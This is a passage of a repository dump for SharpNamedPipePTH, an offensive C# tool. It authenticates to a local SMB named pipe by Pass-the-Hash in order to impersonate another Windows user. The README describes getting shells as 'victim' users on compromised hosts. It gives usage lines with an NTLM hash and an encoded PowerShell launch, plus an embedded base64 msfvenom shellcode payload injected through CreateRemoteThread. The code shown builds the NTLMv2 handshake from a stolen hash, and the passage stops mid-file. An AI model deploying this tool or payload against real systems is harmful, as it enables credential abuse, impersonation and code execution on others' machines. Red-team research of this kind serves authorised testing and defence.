├── .gitattributes ├── .github └── FUNDING.yml ├── LICENSE ├── README.md ├── Resources ├── Example1.JPG └── Example2.JPG ├── SharpNamedPipePTH.sln └── SharpNamedPipePTH ├── App.config ├── ArgParse.cs ├── DInvoke.cs ├── NamedPipePTH.cs ├── PipeServerImpersonate.cs ├── Program.cs ├── Properties └── AssemblyInfo.cs ├── SMBConnect.cs ├── SharpNamedPipePTH.csproj └── Utilities.cs /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: [S3cur3Th1sSh1t] 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2021, S3cur3Th1sSh1t 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpNamedPipePTH 2 | 3 | This project is a C# tool to use Pass-the-Hash for authentication on a local Named Pipe for user Impersonation. You need a local administrator or SEImpersonate rights to use this. There is a blog post for explanation: 4 | 5 | [https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/](https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/) 6 | 7 | It is heavily based on the code from the project [Sharp-SMBExec](https://github.com/checkymander/Sharp-SMBExec/). 8 | 9 | I faced certain Offensive Security project situations in the past, where I already had the NTLM-Hash of a `low privileged` user account and needed a shell for that user on the current compromised system - but that was not possible with the current public tools. Imagine two more facts for a situation like that - the NTLM Hash could not be cracked *and* there is no process of the victim user to execute shellcode in it or to migrate into that process. This may sound like an absurd edge-case for some of you. I still experienced that multiple times. Not only in one engagement I spend a lot of time searching for the right tool/technique in that specific situation. 10 | 11 | My personal goals for a tool/technique were: 12 | 13 | * Fully featured shell or C2-connection as the victim user-account 14 | * It must to able to also Impersonate `low privileged` accounts - depending on engagement goals it might be needed to access a system with a specific user such as the CEO, HR-accounts, SAP-administrators or others 15 | * The tool can be used as C2-module 16 | 17 | The impersonated user unfortunately has *no network authentication* allowed, as the new process is using an Impersonation Token which is restricted. So you can only use this technique for local actions with another user. 18 | 19 | There are two ways to use SharpNamedPipePTH. Either you can execute a binary (with or without arguments): 20 | 21 | ` 22 | SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe 23 | ` 24 | 25 | ![alt text](https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH/blob/main/Resources/Example1.JPG?raw=true) 26 | 27 | ` 28 | SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA" 29 | ` 30 | 31 | Or you can execute shellcode as the other user: 32 | 33 | ` 34 | SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA= 35 | ` 36 | 37 | Which is `msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0`. 38 | 39 | I'm not happy with the shellcode execution yet, as it's currently spawning notepad as the impersonated user and injects shellcode into that new process via D/Invoke CreateRemoteThread Syscall. I'm still looking for possibility to spawn a process in the background or execute shellcode without having a process of the target user for memory allocation. 40 | 41 | ![alt text](https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH/blob/main/Resources/Example2.JPG?raw=true) 42 | 43 | -------------------------------------------------------------------------------- /Resources/Example1.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S3cur3Th1sSh1t/SharpNamedPipePTH/6ab648a47619983e242918903435de8c7393e131/Resources/Example1.JPG -------------------------------------------------------------------------------- /Resources/Example2.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/S3cur3Th1sSh1t/SharpNamedPipePTH/6ab648a47619983e242918903435de8c7393e131/Resources/Example2.JPG -------------------------------------------------------------------------------- /SharpNamedPipePTH.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30413.136 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpNamedPipePTH", "SharpNamedPipePTH\SharpNamedPipePTH.csproj", "{344EE55A-4E32-46F2-A003-69AD52B55945}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {344EE55A-4E32-46F2-A003-69AD52B55945}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {344EE55A-4E32-46F2-A003-69AD52B55945}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {344EE55A-4E32-46F2-A003-69AD52B55945}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {344EE55A-4E32-46F2-A003-69AD52B55945}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {304B6A98-ECAE-497C-9C84-8CBB6E962F96} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpNamedPipePTH/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SharpNamedPipePTH/ArgParse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace SharpNamedPipePTH 7 | { 8 | public static class ArgParse 9 | { 10 | //Argument parsing class from Rubeus (https://github.com/GhostPack/Rubeus/) 11 | //Author: @Harmj0y 12 | 13 | public static ArgumentParserResult Parse(IEnumerable args) 14 | { 15 | var arguments = new Dictionary(); 16 | try 17 | { 18 | foreach (var argument in args) 19 | { 20 | var idx = argument.IndexOf(':'); 21 | if (idx > 0) 22 | arguments[argument.Substring(0, idx).ToLower()] = argument.Substring(idx + 1); 23 | else if (argument.ToLower() == "-debug") 24 | arguments["debugging"] = "true"; 25 | else if (argument.ToLower() == "-h") 26 | arguments["showhelp"] = "true"; 27 | else if (argument.ToLower() == "-help") 28 | arguments["showhelp"] = "true"; 29 | else if (argument.ToLower() == "-checkadmin") 30 | arguments["admincheck"] = "true"; 31 | else if (argument.ToLower() == "-forcesmb1") 32 | arguments["forcesmb1"] = "true"; 33 | else if (argument.ToLower() == "-smb1") 34 | arguments["forcesmb1"] = "true"; 35 | else if (argument.ToLower() == "-comspec") 36 | arguments["comspec"] = "true"; 37 | else 38 | arguments[argument] = string.Empty; 39 | } 40 | 41 | return ArgumentParserResult.Success(arguments); 42 | } 43 | catch (System.Exception ex) 44 | { 45 | Console.WriteLine(ex.Message); 46 | return ArgumentParserResult.Failure(); 47 | } 48 | } 49 | } 50 | public class ArgumentParserResult 51 | { 52 | public bool ParsedOk { get; } 53 | public Dictionary Arguments { get; } 54 | 55 | private ArgumentParserResult(bool parsedOk, Dictionary arguments) 56 | { 57 | ParsedOk = parsedOk; 58 | Arguments = arguments; 59 | } 60 | 61 | public static ArgumentParserResult Success(Dictionary arguments) 62 | => new ArgumentParserResult(true, arguments); 63 | 64 | public static ArgumentParserResult Failure() 65 | => new ArgumentParserResult(false, null); 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /SharpNamedPipePTH/NamedPipePTH.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Security.Cryptography; 3 | using System.Diagnostics; 4 | using System.Net.Sockets; 5 | using System.Collections.Specialized; 6 | using System.Collections.Generic; 7 | using System.Linq; 8 | using System.Text; 9 | 10 | namespace SharpNamedPipePTH 11 | { 12 | public class NamedpipePTH 13 | { 14 | 15 | public static void displayHelp(string message) 16 | { 17 | Console.WriteLine("{0} \r\nNamedPipePTH.exe username: domain: hash: pipename:", message); 18 | return; 19 | } 20 | 21 | public static void NamedPipePTH(string User, string Domain, string Hash, string PipeName, bool forceSMB1) 22 | { 23 | 24 | //User Set 25 | string Target = "localhost"; 26 | string username = User; 27 | string domain = Domain; 28 | string pipename = PipeName; 29 | string hash = Hash; 30 | bool ForceSMB1 = forceSMB1; 31 | bool debug = true; 32 | 33 | 34 | //Trackers 35 | bool Login_Successful = false; 36 | bool SMBConnect_Failed = false; 37 | bool SMB_Signing = false; 38 | string Output_Username; 39 | string processID = BitConverter.ToString(BitConverter.GetBytes(Process.GetCurrentProcess().Id)).Replace("-", ""); 40 | string[] processID2 = processID.Split('-'); 41 | StringBuilder output = new StringBuilder(); 42 | int SMB2_Message_ID = 0; 43 | //Communication 44 | byte[] SMBClientReceive = null; 45 | //Packet Reqs 46 | byte[] Process_ID_Bytes = Utilities.ConvertStringToByteArray(processID.ToString()); 47 | byte[] SMB_Session_ID = null; 48 | byte[] Session_Key = null; 49 | byte[] SMB_Session_Key_Length = null; 50 | byte[] SMB_Negotiate_Flags = null; 51 | byte[] SMB2_Tree_ID = null; 52 | byte[] SMB_Client_Send = null; 53 | byte[] SMB_FID = new byte[2]; 54 | byte[] SMB_Named_Pipe_Bytes = null; 55 | byte[] SMB_User_ID = null; 56 | byte[] SMB_Header = null; 57 | byte[] SMB2_Header = null; 58 | byte[] SMB_Data = null; 59 | byte[] SMB2_Data = null; 60 | byte[] NetBIOS_Session_Service = null; 61 | byte[] NTLMSSP_Negotiate = null; 62 | byte[] NTLMSSP_Auth = null; 63 | byte[] SMB_Sign = null; 64 | byte[] SMB_Signature = null; 65 | byte[] SMB_Signature2 = null; 66 | byte[] SMB2_Sign = null; 67 | byte[] SMB2_Signature = null; 68 | byte[] SMB_Signing_Sequence = null; 69 | OrderedDictionary Packet_SMB_Header = null; 70 | OrderedDictionary Packet_SMB2_Header = null; 71 | OrderedDictionary Packet_SMB_Data = null; 72 | OrderedDictionary Packet_SMB2_Data = null; 73 | OrderedDictionary Packet_NTLMSSP_Negotiate = null; 74 | OrderedDictionary Packet_NTLMSSP_Auth = null; 75 | MD5CryptoServiceProvider MD5Crypto = new MD5CryptoServiceProvider(); 76 | 77 | if (String.IsNullOrEmpty(username) || String.IsNullOrEmpty(hash) || String.IsNullOrEmpty(Target)) 78 | { 79 | displayHelp("Missing Required Params"); 80 | } 81 | else 82 | { 83 | if (hash.Contains(":")) 84 | hash = hash.Split(':').Last(); 85 | } 86 | if (!string.IsNullOrEmpty(domain)) 87 | Output_Username = domain + '\\' + username; 88 | else 89 | Output_Username = username; 90 | 91 | 92 | TcpClient SMBClient = new TcpClient(); 93 | SMBClient.Client.ReceiveTimeout = 60000; 94 | 95 | try 96 | { 97 | SMBClient.Connect(Target, 445); 98 | } 99 | catch 100 | { 101 | output.AppendLine("Could not connect to Target"); 102 | } 103 | 104 | if (SMBClient.Connected) 105 | { 106 | if (debug) { output.AppendLine(String.Format("Connected to {0}", Target)); } 107 | NetworkStream SMBClientStream = SMBClient.GetStream(); 108 | SMBClientReceive = new byte[1024]; 109 | string SMBClientStage = "NegotiateSMB"; 110 | 111 | while (SMBClientStage != "exit") 112 | { 113 | if (debug) { output.AppendLine(String.Format("Current Stage: {0}", SMBClientStage)); } 114 | switch (SMBClientStage) 115 | { 116 | case "NegotiateSMB": 117 | { 118 | Packet_SMB_Header = new OrderedDictionary(); 119 | Packet_SMB_Header = SMBConnect.SMBHeader(new byte[] { 0x72 }, new byte[] { 0x18 }, new byte[] { 0x01, 0x48 }, new byte[] { 0xff, 0xff }, Process_ID_Bytes, new byte[] { 0x00, 0x00 }); 120 | Packet_SMB_Data = SMBConnect.SMBNegotiateProtocolRequest(ForceSMB1); 121 | SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); 122 | SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); 123 | NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length); 124 | 125 | SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray(); 126 | SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send); 127 | if (BitConverter.ToString(new byte[] { SMBClientReceive[4], SMBClientReceive[5], SMBClientReceive[6], SMBClientReceive[7] }).ToLower() == "ff-53-4d-42") 128 | { 129 | ForceSMB1 = true; 130 | if (debug) { output.AppendLine("Using SMB1"); } 131 | SMBClientStage = "NTLMSSPNegotiate"; 132 | if (BitConverter.ToString(new byte[] { SMBClientReceive[39] }).ToLower() == "0f") 133 | { 134 | if (debug) { output.AppendLine("SMB Signing is Enabled"); } 135 | SMB_Signing = true; 136 | SMB_Session_Key_Length = new byte[] { 0x00, 0x00 }; 137 | SMB_Negotiate_Flags = new byte[] { 0x15, 0x82, 0x08, 0xa0 }; 138 | 139 | } 140 | else 141 | { 142 | if (debug) { output.AppendLine("SMB Signing is not Enforced"); } 143 | SMB_Signing = false; 144 | SMB_Session_Key_Length = new byte[] { 0x00, 0x00 }; 145 | SMB_Negotiate_Flags = new byte[] { 0x05, 0x82, 0x08, 0xa0 }; 146 | 147 | } 148 | } 149 | else 150 | { 151 | if (debug) { output.AppendLine("Using SMB2"); } 152 | SMBClientStage = "NegotiateSMB2"; 153 | if (BitConverter.ToString(new byte[] { SMBClientReceive[70] }) == "03") 154 | { 155 | if (debug) { output.AppendLine("SMB Signing is Enabled"); } 156 | SMB_Signing = true; 157 | SMB_Session_Key_Length = new byte[] { 0x00, 0x00 }; 158 | SMB_Negotiate_Flags = new byte[] { 0x15, 0x82, 0x08, 0xa0 }; 159 | } 160 | else 161 | { 162 | if (debug) { output.AppendLine("SMB Signing is not Enforced"); } 163 | SMB_Signing = false; 164 | SMB_Session_Key_Length = new byte[] { 0x00, 0x00 }; 165 | SMB_Negotiate_Flags = new byte[] { 0x05, 0x80, 0x08, 0xa0 }; 166 | } 167 | } 168 | } 169 | break; 170 | case "NegotiateSMB2": 171 | { 172 | SMB2_Message_ID = 1; 173 | Packet_SMB2_Header = new OrderedDictionary(); 174 | SMB2_Tree_ID = new byte[] { 0x00, 0x00, 0x00, 0x00 }; 175 | SMB_Session_ID = new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; 176 | Packet_SMB2_Header = SMBConnect.SMB2Header(new byte[] { 0x00, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); 177 | Packet_SMB2_Data = SMBConnect.SMB2NegotiateProtocolRequest(); 178 | SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); 179 | SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); 180 | NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length); 181 | SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray(); 182 | SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send); 183 | SMBClientStage = "NTLMSSPNegotiate"; 184 | 185 | } 186 | break; 187 | case "NTLMSSPNegotiate": 188 | { 189 | SMB_Client_Send = null; 190 | if (ForceSMB1) 191 | { 192 | Packet_SMB_Header = SMBConnect.SMBHeader(new byte[] { 0x73 }, new byte[] { 0x18 }, new byte[] { 0x07, 0xc8 }, new byte[] { 0xff, 0xff }, Process_ID_Bytes, new byte[] { 0x00, 0x00 }); 193 | 194 | if (SMB_Signing) 195 | { 196 | Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; 197 | } 198 | Packet_NTLMSSP_Negotiate = SMBConnect.NTLMSSPNegotiate(SMB_Negotiate_Flags, null); 199 | SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); 200 | NTLMSSP_Negotiate = Utilities.ConvertFromPacketOrderedDictionary(Packet_NTLMSSP_Negotiate); 201 | Packet_SMB_Data = SMBConnect.SMBSessionSetupAndXRequest(NTLMSSP_Negotiate); 202 | SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); 203 | NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length); 204 | 205 | SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray(); 206 | } 207 | else 208 | { 209 | Packet_SMB2_Header = new OrderedDictionary(); 210 | SMB2_Message_ID += 1; 211 | Packet_SMB2_Header = SMBConnect.SMB2Header(new byte[] { 0x01, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); 212 | Packet_NTLMSSP_Negotiate = SMBConnect.NTLMSSPNegotiate(SMB_Negotiate_Flags, null); 213 | SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); 214 | NTLMSSP_Negotiate = Utilities.ConvertFromPacketOrderedDictionary(Packet_NTLMSSP_Negotiate); 215 | Packet_SMB2_Data = SMBConnect.SMB2SessionSetupRequest(NTLMSSP_Negotiate); 216 | SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); 217 | NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length); 218 | SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray(); 219 | } 220 | SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send); 221 | SMBClientStage = "exit"; 222 | } 223 | break; 224 | 225 | } 226 | } 227 | if (debug) { output.AppendLine(String.Format("Authenticating to {0}", Target)); } 228 | string SMB_NTLSSP = BitConverter.ToString(SMBClientReceive); 229 | SMB_NTLSSP = SMB_NTLSSP.Replace("-", ""); 230 | int SMB_NTLMSSP_Index = SMB_NTLSSP.IndexOf("4E544C4D53535000"); 231 | int SMB_NTLMSSP_Bytes_Index = SMB_NTLMSSP_Index / 2; 232 | int SMB_Domain_Length = Utilities.DataLength(SMB_NTLMSSP_Bytes_Index + 12, SMBClientReceive); 233 | int SMB_Target_Length = Utilities.DataLength(SMB_NTLMSSP_Bytes_Index + 40, SMBClientReceive); 234 | SMB_Session_ID = Utilities.GetByteRange(SMBClientReceive, 44, 51); 235 | byte[] SMB_NTLM_challenge = Utilities.GetByteRange(SMBClientReceive, SMB_NTLMSSP_Bytes_Index + 24, SMB_NTLMSSP_Bytes_Index + 31); 236 | byte[] SMB_Target_Details = null; 237 | SMB_Target_Details = Utilities.GetByteRange(SMBClientReceive, (SMB_NTLMSSP_Bytes_Index + 56 + SMB_Domain_Length), (SMB_NTLMSSP_Bytes_Index + 55 + SMB_Domain_Length + SMB_Target_Length)); 238 | byte[] SMB_Target_Time_Bytes = Utilities.GetByteRange(SMB_Target_Details, SMB_Target_Details.Length - 12, SMB_Target_Details.Length - 5); 239 | string hash2 = ""; 240 | for (int i = 0; i < hash.Length - 1; i += 2) { hash2 += (hash.Substring(i, 2) + "-"); }; 241 | byte[] NTLM_hash_bytes = (Utilities.ConvertStringToByteArray(hash.Replace("-", ""))); 242 | string Auth_Hostname = Environment.MachineName; 243 | byte[] Auth_Hostname_Bytes = Encoding.Unicode.GetBytes(Auth_Hostname); 244 | byte[] Auth_Domain_Bytes = Encoding.Unicode.GetBytes(domain); 245 | byte[] Auth_Username_Bytes = Encoding.Unicode.GetBytes(username); 246 | byte[] Auth_Domain_Length = BitConverter.GetBytes(Auth_Domain_Bytes.Length); 247 | Auth_Domain_Length = new byte[] { Auth_Domain_Length[0], Auth_Domain_Length[1] }; 248 | byte[] Auth_Username_Length = BitConverter.GetBytes(Auth_Username_Bytes.Length); 249 | Auth_Username_Length = new byte[] { Auth_Username_Length[0], Auth_Username_Length[1] }; 250 | byte[] Auth_Hostname_Length = BitConverter.GetBytes(Auth_Hostname_Bytes.Length); 251 | Auth_Hostname_Length = new byte[] { Auth_Hostname_Length[0], Auth_Hostname_Length[1] }; 252 | byte[] Auth_Domain_offset = new byte[] { 0x40, 0x00, 0x00, 0x00 }; 253 | byte[] Auth_Username_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + 64); 254 | byte[] Auth_Hostname_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + 64); 255 | byte[] Auth_LM_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + Auth_Hostname_Bytes.Length + 64); 256 | byte[] Auth_NTLM_Offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + Auth_Hostname_Bytes.Length + 88); 257 | HMACMD5 HMAC_MD5 = new HMACMD5(); 258 | HMAC_MD5.Key = NTLM_hash_bytes; 259 | string Username_And_Target = username.ToUpper(); 260 | byte[] Username_Bytes = Encoding.Unicode.GetBytes(Username_And_Target); 261 | byte[] Username_And_Target_bytes = Username_Bytes.Concat(Auth_Domain_Bytes).ToArray(); 262 | byte[] NTLMv2_hash = HMAC_MD5.ComputeHash(Username_And_Target_bytes); 263 | Random r = new Random(); 264 | byte[] Client_Challenge_Bytes = new byte[8]; 265 | r.NextBytes(Client_Challenge_Bytes); 266 | 267 | 268 | 269 | byte[] Security_Blob_Bytes = (new byte[] { 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }) 270 | .Concat(SMB_Target_Time_Bytes) 271 | .Concat(Client_Challenge_Bytes) 272 | .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00 }) 273 | .Concat(SMB_Target_Details) 274 | .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }).ToArray(); 275 | byte[] Server_Challenge_And_Security_Blob_Bytes = Server_Challenge_And_Security_Blob_Bytes = SMB_NTLM_challenge.Concat(Security_Blob_Bytes).ToArray(); 276 | HMAC_MD5.Key = NTLMv2_hash; 277 | byte[] NTLMv2_Response = HMAC_MD5.ComputeHash(Server_Challenge_And_Security_Blob_Bytes); 278 | if (SMB_Signing) 279 | { 280 | byte[] Session_Base_Key = HMAC_MD5.ComputeHash(NTLMv2_Response); 281 | Session_Key = Session_Base_Key; 282 | HMACSHA256 HMAC_SHA256 = new HMACSHA256(); 283 | HMAC_SHA256.Key = Session_Key; 284 | } 285 | NTLMv2_Response = NTLMv2_Response.Concat(Security_Blob_Bytes).ToArray(); 286 | byte[] NTLMv2_Response_Length = BitConverter.GetBytes(NTLMv2_Response.Length); 287 | NTLMv2_Response_Length = new byte[] { NTLMv2_Response_Length[0], NTLMv2_Response_Length[1] }; 288 | byte[] SMB_Session_Key_offset = BitConverter.GetBytes(Auth_Domain_Bytes.Length + Auth_Username_Bytes.Length + Auth_Hostname_Bytes.Length + NTLMv2_Response.Length + 88); 289 | 290 | byte[] NTLMSSP_response = (new byte[] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00 }) 291 | .Concat(Auth_LM_Offset) 292 | .Concat(NTLMv2_Response_Length) 293 | .Concat(NTLMv2_Response_Length) 294 | .Concat(Auth_NTLM_Offset) 295 | .Concat(Auth_Domain_Length) 296 | .Concat(Auth_Domain_Length) 297 | .Concat(Auth_Domain_offset) 298 | .Concat(Auth_Username_Length) 299 | .Concat(Auth_Username_Length) 300 | .Concat(Auth_Username_Offset) 301 | .Concat(Auth_Hostname_Length) 302 | .Concat(Auth_Hostname_Length) 303 | .Concat(Auth_Hostname_Offset) 304 | .Concat(SMB_Session_Key_Length) 305 | .Concat(SMB_Session_Key_Length) 306 | .Concat(SMB_Session_Key_offset) 307 | .Concat(SMB_Negotiate_Flags) 308 | .Concat(Auth_Domain_Bytes) 309 | .Concat(Auth_Username_Bytes) 310 | .Concat(Auth_Hostname_Bytes) 311 | .Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }) 312 | .Concat(NTLMv2_Response).ToArray(); 313 | if (ForceSMB1) 314 | { 315 | Packet_SMB_Header = new OrderedDictionary(); 316 | SMB_User_ID = new byte[] { SMBClientReceive[32], SMBClientReceive[33] }; 317 | Packet_SMB_Header = SMBConnect.SMBHeader(new byte[] { 0x73 }, new byte[] { 0x18 }, new byte[] { 0x07, 0xc8 }, new byte[] { 0xff, 0xff }, Process_ID_Bytes, new byte[] { 0x00, 0x00 }); 318 | 319 | if (SMB_Signing) 320 | { 321 | Packet_SMB_Header["SMBHeader_Flags2"] = new byte[] { 0x05, 0x48 }; 322 | } 323 | 324 | Packet_SMB_Header["SMBHeader_UserID"] = SMB_User_ID; 325 | Packet_NTLMSSP_Negotiate = SMBConnect.NTLMSSPAuth(NTLMSSP_response); 326 | SMB_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Header); 327 | NTLMSSP_Negotiate = Utilities.ConvertFromPacketOrderedDictionary(Packet_NTLMSSP_Negotiate); 328 | Packet_SMB_Data = SMBConnect.SMBSessionSetupAndXRequest(NTLMSSP_Negotiate); 329 | SMB_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB_Data); 330 | NetBIOS_Session_Service = GetNetBIOSSessionService(SMB_Header.Length, SMB_Data.Length); 331 | 332 | SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB_Header).Concat(SMB_Data).ToArray(); 333 | } 334 | else 335 | { 336 | SMB2_Message_ID += 1; 337 | Packet_SMB2_Header = SMBConnect.SMB2Header(new byte[] { 0x01, 0x00 }, SMB2_Message_ID, SMB2_Tree_ID, SMB_Session_ID); 338 | Packet_NTLMSSP_Auth = SMBConnect.NTLMSSPAuth(NTLMSSP_response); 339 | SMB2_Header = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Header); 340 | NTLMSSP_Auth = Utilities.ConvertFromPacketOrderedDictionary(Packet_NTLMSSP_Auth); 341 | Packet_SMB2_Data = SMBConnect.SMB2SessionSetupRequest(NTLMSSP_Auth); 342 | SMB2_Data = Utilities.ConvertFromPacketOrderedDictionary(Packet_SMB2_Data); 343 | NetBIOS_Session_Service = GetNetBIOSSessionService(SMB2_Header.Length, SMB2_Data.Length); 344 | SMB_Client_Send = NetBIOS_Session_Service.Concat(SMB2_Header).Concat(SMB2_Data).ToArray(); 345 | } 346 | 347 | 348 | 349 | SMBClientReceive = SendStream(SMBClientStream, SMB_Client_Send); 350 | 351 | if (ForceSMB1) 352 | { 353 | if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 9, 12)) == "00-00-00-00") 354 | { 355 | if (debug) { output.AppendLine("Authentication Successful"); } 356 | Login_Successful = true; 357 | } 358 | else 359 | { 360 | output.AppendLine("Unable to authenticate to Target."); 361 | Console.WriteLine(output.ToString()); 362 | } 363 | } 364 | else 365 | { 366 | if (BitConverter.ToString(Utilities.GetByteRange(SMBClientReceive, 12, 15)) == "00-00-00-00") 367 | { 368 | if (debug) { 